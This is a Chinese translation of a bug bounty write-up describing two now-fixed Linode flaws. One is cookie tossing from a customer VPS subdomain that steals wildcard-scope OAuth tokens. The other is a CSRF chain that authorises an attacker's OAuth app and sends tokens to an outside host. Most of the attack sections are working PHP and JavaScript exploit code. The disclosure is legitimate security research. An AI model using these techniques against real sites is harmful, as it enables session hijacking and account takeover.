白帽汇
- 关注
在2018年年中,Linode的Hackerone漏洞悬赏项目吸引了我,因为这个项目很活跃,管理得非常好,但很多漏洞细节并没有公开。我希望能找到漏洞,并对外公开某个漏洞细节。
Linode是一个VPS提供商,而用户购买的VPS将解析为<id>.members.linode.com
,而这也给了我灵感,因为这基本上意味着我们能完全控制linode.com
的子域,执行任何服务端脚本语言。
了解Linode的身份认证
Linode主要对外提供了4个Web应用:
https://manager.linode.com 经典Linode网站
https://linode.com/community 社区门户
https://login.linode.com OAuth服务器
https://cloud.linode.com 新型Linode网站
当我们完全控制子域时,可以读取任何和.linode.com
(cookie被设置为通配符域)有关的cookie,我开始研究[https://manager.linode.com](https://manager.linode.com)
中的session/CSRF的cookie,但所有cookie都正确地设置为only manager.linode.com
,然后我转移到另一个应用[https://linode.com/community](https://linode.com/community)
,它主要和OAuth相关。
先让我们理解一下认证过程是怎样的。
当点击Login
按钮时,会向[https://www.linode.com/community/questions/login?next=/community/](https://www.linode.com/community/questions/login?next=/community/)
发送一个GET请求。
HTTP/1.1 302 Found Server: nginx Date: Sat, 29 Sep 2018 23:36:51 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Cookie Location: https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code Set-Cookie: sessionid=dgagljcsrcg0m3klfd2o16x9q1smbgvd; Domain=.linode.com; expires=Sat, 13-Oct-2018 23:36:51 GMT; HttpOnly; Max-Age=1209600; Path=/; Secure .....
这个回复中包含以下操作:
- 设置cookie
sessionid=dgagljcsrcg0m3klfd2o16x9q1smbgvd
,它和state=bce45f7c-6a37-46c7-9ede-c9979c152081令牌相关联,针对的域名为.linode.com
- 重定向到OAuth页面
[https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code](https://login.linode.com/oauth/authorize?scopes=events%3Amodify&state=bce45f7c-6a37-46c7-9ede-c9979c152081&client_id=a38f156de7fa9819c110&redirect_uri=https%3A%2F%2Fwww.linode.com%2Fcommunity%2F&response_type=code)
- 如果已在
[https://login.linode.com/](https://login.linode.com/)
登录,用户会转到[https://www.linode.com/community/?state=bce45f7c-6a37-46c7-9ede-c9979c152081&code=6f422a104f5bf039f9dc](https://www.linode.com/community/?state=bce45f7c-6a37-46c7-9ede-c9979c152081&code=6f422a104f5bf039f9dc)
state参数令牌会和之前设置的sessionid进行交叉检查,如果验证成功,响应如下:
HTTP/1.1 302 Found Server: nginx Date: Sat, 29 Sep 2018 23:04:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Cookie Location: /community/ Set-Cookie: sessionid=qaff7xdtoxxhnc6tds7ym2d7d9lpweci; Domain=.linode.com; expires=Sat, 13-Oct-2018 23:04:02 GMT; HttpOnly; Max-Age=1209600; Path=/; Secure ....
- 接着sessionid会重置,这是社区门户的真实session,此时用户已登录到社区门户。
Exploiting… OAuth + Cookies = ❤
首先我希望从社区门户获取通配符范围的访问令牌。若我们希望绕过CSRF机制登录到社区门户,则需要这个令牌。登录机制会查找sessionid
并根据给定的状态令牌交叉验证它。
因为我们还可以设置和.linode.com相关的cookie,所以可以绕过。
相关代码如下:
<?php echo "<iframe src='https://li859-243.members.linode.com/setcookie.php'></iframe>"; ?> <script> setTimeout(function(){ document.write("<iframe src='https://li859-243.members.linode.com/stc.php'></iframe>"); }, 6000); </script>
上述代码仅仅是打开setcookie.php
的iframe,然后在6秒后打开stc.php
的iframe。
让我们来了解一下什么是setcookie.php
。
<?php error_reporting(0); $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_RETURNTRANSFER => 1, CURLOPT_HEADER => 1, CURLOPT_URL => 'https://www.linode.com/community/questions/login?next=/community/' )); $resp = curl_exec($curl); $headers = []; $data = explode("\n",$resp); $headers['status'] = $data[0]; array_shift($data); foreach($data as $part){ $middle=explode(": ",$part); $headers[trim($middle[0])] = trim($middle[1]); } $pattern = '/events%3Amodify/'; $replacement = '*'; $p = preg_replace($pattern, $replacement, $headers['Location'], -1 ); $xf=explode("; ",$headers['Set-Cookie']); foreach($xf as $part){ $middle=explode("=",$part); $cookie[trim($middle[0])] = trim($middle[1]); } $epoch = shell_exec("date --date \"{$cookie['expires']}\" '+%s'"); setcookie("sessionid", $cookie['sessionid'], $epoch, "/", ".linode.com"); curl_close($curl); header("Location: $p"); ?>
从服务器端请求登录端点以获得有效的cookie
从响应中提取所有标头
修改
Location
,将scopes设置为*
提取
Set-Cookie
,它由sessionid组成,而sessionid和Location
中的状态令牌相关联。将提取的session设置为用户的session,重定向到修改后
Location
中的值。
由于sessionid和状态令牌都验证成功,用户将使用*
范围的访问令牌登录到社区门户。
此时,一切都准备好了,Linode将针对.linode.com
设置合法的session(使用sessionid)。我们可以获取合法的session并使用它登录,而且我们可以直接从页面源码中提取访问令牌。让我们使用stc.php(窃取cookie并提取令牌)来实现自动化。
<?php $x = $_COOKIE['sessionid']; echo "Session ID : <b>".$x."</b><br>"; $t = shell_exec("curl https://www.linode.com/community/ -H \"Cookie: sessionid=".$x."\""); $p = '/notificationsToken.*\"/'; preg_match($p,$t,$token); echo "Access token with `*` Scope : <b>".substr($token[0], 21)."</b>"; echo "\n\n"; ?>
我们只需要从用户会话中获取sessionid,然后从服务器端发出curl请求,使用一些正则表达式来获取访问令牌,就可以对任何资源进行读写调用。
PoC视频如下:
https://youtu.be/rA9YaErTIIw
时间流:
2018年9月30日:初步发现和报告
2018年10月1日:已确认
2018年10月3日:奖励为2000美元
2018年10月4日:已解决
其他利用
再让我们关注一下CSRF机制。
除了[https://login.linode.com](https://login.linode.com)
,其他网站的CSRF看似很安全。
JWT在session
中被设置,这cookie由一个CSRF令牌组成。cookie的作用域并不是任何域,所以我们无法读取它。
用户登录后,用户session会绑定到newsession cookie,但是CSRF令牌保持不变
我们可以从所控制的VPS中设置这个cookie,但是,我想这和浏览器和服务器中的哪个cookie会被首选有关。
在示例中,我设置的cookie首先被服务器读取,因此用户的session被丢弃,要求用户再次登录。但是,即使Linode设置的cookie不位于Path=/
,我们也可以添加Path=/login
以优先获取我们的cookie,现在任何位于/login/*
下的路径都获得必要端点上的首选cookie。以下是HITCON 2019中filedescriptor演讲的一些幻灯片,其中详细解释了这种攻击。
所有的授权都是在login.linode.com
(OAuth相关)上完成的,因此我想强制用户以通配符来授权我们的客户端应用。
以下是相关的PHP代码。
<?php // Make request to https://login.linode.com/login $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_RETURNTRANSFER => 1, CURLOPT_HEADER => 1, CURLOPT_URL => 'https://login.linode.com/login', CURLOPT_HEADER => 1, CURLOPT_RETURNTRANSFER => 1 )); $resp = curl_exec($curl); //Extract Set-Cookie header value $headers = []; $data = explode("\n",$resp); $f = explode("; ", $data[10]); $session = substr($f[0], 20); $exp = substr($f[1], 8); //Set-Cookie $epoch = shell_exec("date --date \"{$exp}\" '+%s'"); setcookie("session", $session, $epoch, "/", ".linode.com",true); curl_close($curl); //Decode cookies for CSRF-Token and pass it to exp1.php $b64 = explode(".",$session); $b64[0] .= "="; $b = base64_decode($b64[0]); $xb = explode(",",$b); $x = substr($xb[2],0,-2); $csrf = substr($x,14); header("Location: exp1.php?csrf={$csrf}"); <p><a href="#" id="target" name="x">Exploit</a></p> <script> (function() { document.getElementById("target").on click = function() { x = window.open("https://login.linode.com/login"); setTimeout(function() { x.close(); document.forms["exploit"].submit(); }, 13000); return false; }; })(); </script> <form method="POST" action="https://login.linode.com/oauth/authorize?client_id=e8ffd152f9d9a85a423b&scope=*&response_type=token&redirect_uri=https://rce.ee/linode-exploit.html" name="exploit" id="exploit"> <input type="hidden" name="csrf_token" value="<?php echo $_GET['csrf']; ?>"> <input type="hidden" name="client_id" value="e8ffd152f9d9a85a423b"> <input type="hidden" name="scope" value="*"> <input type="hidden" name="redirect_uri" value="https://rce.ee/linode-exploit.html"> <input type="hidden" name="response_type" value="token"> </form>
从服务器端发出一个请求并获得一个会话JWT
解码并提取CSRF令牌
用获得的JWT设置会话cookie
使用之前的CSRF令牌发出POST请求来对攻击者的OAuth应用进行授权。
PoC视频如下:
https://youtu.be/O13xCKbe2IE
时间线:
2018年10月13日:发现并报告
2018年10月15日:确认
2018年10月18日:获得750美元奖励,创造性的攻击获得1000美元奖励。
2018年11月14日:漏洞被解决
引用
https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers
https://github.blog/2013-04-09-yummy-cookies-across-domains/
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3476.html 来源:https://medium.com/@rootxharsh_90844/abusing-feature-to-steal-your-tokens-f15f78cebf74
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
